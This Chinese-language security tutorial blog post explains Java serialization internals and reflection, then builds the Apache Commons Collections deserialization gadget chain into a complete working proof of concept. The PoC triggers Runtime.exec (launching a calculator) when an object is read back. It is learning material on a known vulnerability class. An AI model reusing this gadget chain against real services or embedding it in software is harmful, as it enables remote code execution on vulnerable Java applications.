
log4j2 的风暴愈演愈烈,java 安全再一次被推上风口浪尖,本人作为一个刚刚入行的Java小白,在跟随着各位前辈的步伐分析过 log4j2 的原理后,出于举一反三的想法,因而产生了借此良机将反序列化这一Java典型漏洞形态进行一下学习,分析过程中如有不足之处,还望各位师傅们指正。
一、First of the first 序列化和反序列化
在理解序列化和反序列化之前就盲目去分析Java反序列化漏洞就仿佛是拿着一把钝刀进厨房,因此这里首先来学习一下序列化和反序列化的知识。
Serialization is a mechanism of converting the state of an object into a byte stream. Deserialization is the reverse process where the byte stream is used to recreate the actual Java object in memory. This mechanism is used to persist the object.
1、readObject和writeObject
(1). writeObject
序列化和反序列化主要涉及到两个方法readObject
和writeObject
如下是writeObject的实现,位于java.io.ObjectOutputStream
中
public final void writeObject(Object obj) throws IOException {
if (enableOverride) {
writeObjectOverride(obj);
return;
}
try {
writeObject0(obj, false); // 主要实现
} catch (IOException ex) {
if (depth == 0) {
writeFatalException(ex);
}
throw ex;
}
}
这里有一块值得注意的点,当enableOverride
属性被定义时,writeObject
就会去调用writeObjectOverride
而不是writeObject0
public ObjectOutputStream(OutputStream out) throws IOException { ... } // 对应false
protected ObjectOutputStream() throws IOException, SecurityException { ... } // 对应true
一些关键属性的定义
/** filter stream for handling block data conversion */
private final BlockDataOutputStream bout;
/** obj -> wire handle map */
private final HandleTable handles;
/** obj -> replacement obj map */
private final ReplaceTable subs;
ObjectOutputStream
定义:创建一个ObjectOutputStream,写到指定的OutputStream。这个构造函数将序列化流头写入底层流;调用者可能希望立即刷新流,以确保接收ObjectInputStreams的构造函数在读取头时不会阻塞。如果设置了security manager,当被重写了ObjectOutputStream.putFields或ObjectOutputStream.writeUnshared方法的子类的构造函数直接或间接调用时,这个构造函数将检查 "enableSubclassImplementation "SerializablePermission。
public ObjectOutputStream(OutputStream out) throws IOException {
verifySubclass();
bout = new BlockDataOutputStream(out);
handles = new HandleTable(10, (float) 3.00); //轻量的 HashMap,保存序列化对象句柄(编号)映射关系。
subs = new ReplaceTable(10, (float) 3.00); //ReplaceTable 保存的是替换对象的映射关系。
enableOverride = false;
writeStreamHeader(); // 输出序列化流的头信息,用于文件校验,和 .class 文件头的魔数及版本作用一样
bout.setBlockDataMode(true);
if (extendedDebugInfo) {
debugInfoStack = new DebugTraceInfoStack();
} else {
debugInfoStack = null;
}
}
BlockDataOutputStream(OutputStream out) {
this.out = out; // 保存原输出流
dout = new DataOutputStream(this); // 重新创建一个输出流
}
writeObject
将实际上的工作都交给了writeObject0
来完成(包工头),流程如下:
预处理,判断需不需要序列化
判断是否替换了对象
序列化
private void writeObject0(Object obj, boolean unshared)
throws IOException
{
boolean oldMode = bout.setBlockDataMode(false);
depth++; // 记录当前递归的层数,主要处理要序列化的类属性还是类的情况
try {
// 第一步:
// handle previously written and non-replaceable objects
int h;
if ((obj = subs.lookup(obj)) == null) { // 如果有可替换对象则返回可替换对象
writeNull();
return;
} else if (!unshared && (h = handles.lookup(obj)) != -1) { // 如果已经序列化过该对象则直接写一个handle即可
writeHandle(h);
return;
} else if (obj instanceof Class) { // Class 对象处理
writeClass((Class) obj, unshared);
return;
} else if (obj instanceof ObjectStreamClass) { // ObjectStreamClass 对象处理
writeClassDesc((ObjectStreamClass) obj, unshared);
return;
}
// 第二步:
// check for replacement object
Object orig = obj;
Class<?> cl = obj.getClass();
ObjectStreamClass desc;
for (;;) {
// REMIND: skip this check for strings/arrays?
Class<?> repCl;
desc = ObjectStreamClass.lookup(cl, true);
if (!desc.hasWriteReplaceMethod() ||
(obj = desc.invokeWriteReplace(obj)) == null ||
(repCl = obj.getClass()) == cl)
{
break;
}
cl = repCl;
}
if (enableReplace) {
Object rep = replaceObject(obj); //子类重写 ObjectOutputStream#replaceObject 方法
if (rep != obj && rep != null) {
cl = rep.getClass();
desc = ObjectStreamClass.lookup(cl, true);
}
obj = rep;
}
// 第三步:
// if object replaced, run through original checks a second time
if (obj != orig) {
subs.assign(orig, obj);
if (obj == null) {
writeNull();
return;
} else if (!unshared && (h = handles.lookup(obj)) != -1) {
writeHandle(h);
return;
} else if (obj instanceof Class) {
writeClass((Class) obj, unshared);
return;
} else if (obj instanceof ObjectStreamClass) {
writeClassDesc((ObjectStreamClass) obj, unshared);
return;
}
}
// remaining cases
if (obj instanceof String) {
writeString((String) obj, unshared);
} else if (cl.isArray()) {
writeArray(obj, desc, unshared);
} else if (obj instanceof Enum) {
writeEnum((Enum<?>) obj, desc, unshared);
} else if (obj instanceof Serializable) {
writeOrdinaryObject(obj, desc, unshared); // 大部分序列化的处理点
} else {
if (extendedDebugInfo) {
throw new NotSerializableException(
cl.getName() + "\n" + debugInfoStack.toString());
} else {
throw new NotSerializableException(cl.getName());
}
}
} finally {
depth--;
bout.setBlockDataMode(oldMode);
}
}
private void writeOrdinaryObject(Object obj,
ObjectStreamClass desc,
boolean unshared)
throws IOException
{
if (extendedDebugInfo) {
debugInfoStack.push(
(depth == 1 ? "root " : "") + "object (class \"" +
obj.getClass().getName() + "\", " + obj.toString() + ")");
}
try {
desc.checkSerialize();
bout.writeByte(TC_OBJECT); // 写入类型信息
writeClassDesc(desc, false); // 写入类信息
handles.assign(unshared ? null : obj);
if (desc.isExternalizable() && !desc.isProxy()) {
writeExternalData((Externalizable) obj); // 实现 Externalizable 接口的类
} else {
writeSerialData(obj, desc); // 实现 Serializable 接口的类,数据序列化
}
} finally {
if (extendedDebugInfo) {
debugInfoStack.pop();
}
}
}
(2). readObject
readObject
对象的实现如下
public final Object readObject()
throws IOException, ClassNotFoundException
{
if (enableOverride) {
return readObjectOverride();
}
// if nested read, passHandle contains handle of enclosing object
int outerHandle = passHandle;
try {
Object obj = readObject0(false); // 主要实现
handles.markDependency(outerHandle, passHandle); // 注册
ClassNotFoundException ex = handles.lookupException(passHandle);
if (ex != null) {
throw ex;
}
if (depth == 0) { // 如果序列化成功则调用所有注册的Callback并清空Callback链
vlist.doCallbacks();
}
return obj;
} finally {
passHandle = outerHandle;
if (closed && depth == 0) {
clear();
}
}
}
readObject0
private Object readObject0(boolean unshared) throws IOException {
...
depth++; // 记录反序列化层数
try {
switch (tc) { // 根据writeObject时的类型信息进行反序列化
...
case TC_OBJECT: // 通常会进入如下分支
return checkResolve(readOrdinaryObject(unshared));
...
default:
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}
} finally {
depth--; // 当前序列化结束后恢复depth属性,返回上一层
bin.setBlockDataMode(oldMode);
}
}
checkResolve
private Object checkResolve(Object obj) throws IOException {
if (!enableResolve || handles.lookupException(passHandle) != null) {
return obj;
}
Object rep = resolveObject(obj); // 在反序列化过程中对对象进行替换。
if (rep != obj) {
handles.setObject(passHandle, rep);
}
return rep;
}
readOrdinaryObject
private Object readOrdinaryObject(boolean unshared)
throws IOException
{
if (bin.readByte() != TC_OBJECT) { // 判断类型是否为 TC_OBJECT,与writeOrdinaryObject 形成对应
throw new InternalError();
}
ObjectStreamClass desc = readClassDesc(false); // 读取类描述信息
desc.checkDeserialize(); // 判断是否可以进行反序列化
// 首先检测序列化是否成功 requireInitialized
// 之后判断是否允许进行反序列化 deserializeEx
Class<?> cl = desc.forClass(); // 获取Class类
if (cl == String.class || cl == Class.class
|| cl == ObjectStreamClass.class) {
throw new InvalidClassException("invalid class descriptor");
}
Object obj;
try {
obj = desc.isInstantiable() ? desc.newInstance() : null; // 创建对象
} catch (Exception ex) {
throw (IOException) new InvalidClassException(
desc.forClass().getName(),
"unable to create instance").initCause(ex);
}
passHandle = handles.assign(unshared ? unsharedMarker : obj);
ClassNotFoundException resolveEx = desc.getResolveException();
if (resolveEx != null) {
handles.markException(passHandle, resolveEx);
}
if (desc.isExternalizable()) { // 判断序列化时实现的接口
readExternalData((Externalizable) obj, desc); // 反序列化实现 Externalizable 接口的类数据
} else {
readSerialData(obj, desc); // 反序列化实现 Serializable 接口的类数据
}
handles.finish(passHandle);
// 进行对象替换操作
if (obj != null &&
handles.lookupException(passHandle) == null &&
desc.hasReadResolveMethod())
{
Object rep = desc.invokeReadResolve(obj);
if (unshared && rep.getClass().isArray()) {
rep = cloneArray(rep);
}
if (rep != obj) {
handles.setObject(passHandle, obj = rep);
}
}
return obj;
}
二、反序列化漏洞
1、原理
暴露或间接暴露反序列化 API ,导致用户可以操作传入数据,攻击者可以精心构造反序列化对象并执行恶意代码,两个或多个看似安全的模块在同一运行环境下,共同产生的安全问题 。
demo
public class test{
public static void main(String args[]) throws Exception{
//定义myObj对象
MyObject myObj = new MyObject();
myObj.name = "hi";
//创建一个包含对象进行反序列化信息的”object”数据文件
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法将myObj对象写入object文件
os.writeObject(myObj);
os.close();
//从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("object");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢复对象
MyObject objectFromDisk = (MyObject)ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
}
}
class MyObject implements Serializable{
public String name;
//重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
//执行打开计算器程序命令
Runtime.getRuntime().exec("open /Applications/Calculator.app/");
}
}
实际在编码过程中,会对readObject
进行重写,在重写后的方法中增加各种自己的处理代码,这些代码单独使用时并不会出现问题,但是当攻击者将不同的gadgets串起来之后就形成了威力巨大的exploit代码。
2、前置知识
(1)Java反射机制
定义
在反序列化的过程中大量用到了Java反射机制,JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。
简介
运行时类型识别 RRIT(Run-Time Type Identification)主要有两种方式:一种是“传统的”RTTI,它假定我们在编译时已经知道了所有的类型;另一种是“反射”机制,它允许我们在运行时发现和使用类的信息。
反射机制在大量的框架中得以使用:
Spring 框架的 IOC 基于反射创建对象和设置依赖属性。
Spring MVC 的请求调用对应方法。
JDBC 的 Class#forName(String className) 方法。
原理
Class类,Class类也是一个实实在在的类,存在于JDK的java.lang包中。Class类的实例表示java应用运行时的类(class ans enum)或接口(interface and annotation)(每个java类运行时都在JVM里表现为一个class对象,可通过类名.class、类型.getClass()、Class.forName("类名")等方法获取class对象)。数组同样也被映射为为class 对象的一个类,所有具有相同元素类型和维数的数组都共享该 Class 对象。基本类型boolean,byte,char,short,int,long,float,double和关键字void同样表现为 class 对象。依据Class类就可以在运行时获取类对应的信息从而创建对应的类对象。
获取Class对象主要有三种方式:
类名.class:JVM将使用类装载器,将类装入内存(前提是:类还没有装入内存),不做类的初始化工作,返回Class的对象。
实例对象.getClass():对类进行静态初始化、非静态初始化;返回引用运行时真正所指的对象(子对象的引用会赋给父对象的引用变量中)所属的类的Class的对象。
Class.forName(“类名字符串”):装入类,并做类的静态初始化,返回Class的对象。
无参构造方法创建对象
Class clazz = Class.forName("java.lang.String");
String str = (String)clazz.newInstance();
有参构造方法创建对象
Class clazz = Class.forName("java.lang.String");
Constructor constructor = clazz.getConstructor(String.class);
String str = (String)constructor.newInstance("hello world");
获取方法并调用
Class clazz = Class.forName("reflect.Circle");
//创建对象
Circle circle = (Circle) clazz.newInstance();
//获取指定参数的方法对象Method
Method method = clazz.getMethod("draw",int.class,String.class);
//通过Method对象的invoke(Object obj,Object... args)方法调用
method.invoke(circle,15,"圈圈");
总结
反射机制在正常的使用过程中可以解耦代码,提高程序的可扩展性,极大的提高了开发的效率。然而技术从来都是一把双刃剑,一项技术带来便捷同时也伴随着不安全性,反序列化过程中就可以借助反射来将gadgets串联起来。
3、 Transformer链
反序列化主要有两种命令执行的方法,利用Transformer类就是其中之一,首先来查看InvokerTransformer
类的定义:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName; // 获取方法名
this.iParamTypes = paramTypes; // 获取参数列表定义
this.iArgs = args; // 获取参数
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass(); // 获取Class类
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); // 获取方法
return method.invoke(input, this.iArgs); // 调用
} catch (NoSuchMethodException var5) {
...
}
}
}
InvokerTransfomer
类的构造方法参数均可控,借助该类就可以达成命令执行的效果
public static void main(String[] args) {
String cmd = "calc.exe";
InvokerTransformer transformer = new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{cmd}
);
transformer.transform(Runtime.getRuntime());
}
但是问题来了,正常情况下写代码肯定不会把Runtime.getRuntime()
给主动传到transform
里面去啊,因此我们就需要弱化现在的利用条件,这就引出了,ChainedTransformer
类:
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
ChainedTransformer
类的构造方法传入的参数是一组Transformer
类,其transform
方法则会循环调用传入类的transform
方法,跟InvokerTransformer
类进行组合后就可以形成如下payload
public static void main(String[] args) {
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
Transformer transformedChain = new ChainedTransformer(transformers);
transformedChain.transform(null);
}
此时已经将条件弱化为只要能够调用ChainedTransformer
的transform
方法就可以实现代码执行了,那么问题来了,怎么将readObject
和transform
方法连起来呢?
首先对transform
方法的调用点进行筛选。可以找到两处可以作为gadgets的类:LazyMap和TransformedMap。此处选择TransformedMap
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
可以看出valueTransformer
和keyTransformer
参数均是可控参数,我们只要能够调用TransformedMap
的checkSetValue
、transformKey
、transformValue
之中的任意方法就可以了。
public static void main(String[] args) {
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "value");
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
transformedMap.put("v1", "v2");
}
现在的条件已经弱化为了调用TransformedMap
的特定方法,这里就要隆重介绍AnnotationInvocationHandler
类了。首先来看构造方法,可以传入一个Map类参数,但是构造方法本身并不能被外界直接访问,但是这能拦住我们吗?并不能,借助反射机制可以轻松绕过。
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
接着来看该类实现的readObject
方法
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
return;
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); // 调用点
}
}
}
}
在readObject
中var5进行setValue
时,会触发TransformerdMap
的checkSetValue
方法,从而补足了反序列化链的最后一环
package com.anbai.sec.serializes;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsTest {
public static void main(String[] args) {
String cmd = "open -a Calculator.app";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "value");
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
// 获取AnnotationInvocationHandler类对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取AnnotationInvocationHandler类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
// 设置构造方法的访问权限
constructor.setAccessible(true);
// 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
Object instance = constructor.newInstance(Target.class, transformedMap);
// 创建用于存储payload的二进制输出流对象
ByteArrayOutputStream baos = new ByteArrayOutputStream();
// 创建Java对象序列化输出流对象
ObjectOutputStream out = new ObjectOutputStream(baos);
// 序列化AnnotationInvocationHandler类
out.writeObject(instance);
out.flush();
out.close();
// 获取序列化的二进制数组
byte[] bytes = baos.toByteArray();
// 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
// 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
ObjectInputStream in = new ObjectInputStream(bais);
// 模拟远程的反序列化过程
in.readObject();
// 关闭ObjectInputStream输入流
in.close();
}
}
最终反序列化调用链如下:
ObjectInputStream.readObject()
->AnnotationInvocationHandler.readObject()
->TransformedMap.entrySet().iterator().next().setValue()
->TransformedMap.checkSetValue()
->TransformedMap.transform()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->Method.invoke()
->Class.getMethod()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.getRuntime()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.exec()
三、总结
到这里也算是对反序列化的基础知识有了些许的了解,在学习分析的过程中不由得感慨发现这些利用方式的前辈们思想之活跃与功底之深厚。学习安全之路曲折漫长,幸有各位乐于分享的师傅们作为指路明灯指引我们后来者的前行之路。
参考链接
https://www.geeksforgeeks.org/serialization-in-java/
https://www.cnblogs.com/binarylei/p/10987933.html
https://www.cnblogs.com/binarylei/p/10987540.html
https://pdai.tech/md/java/basic/java-basic-x-reflection.html
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)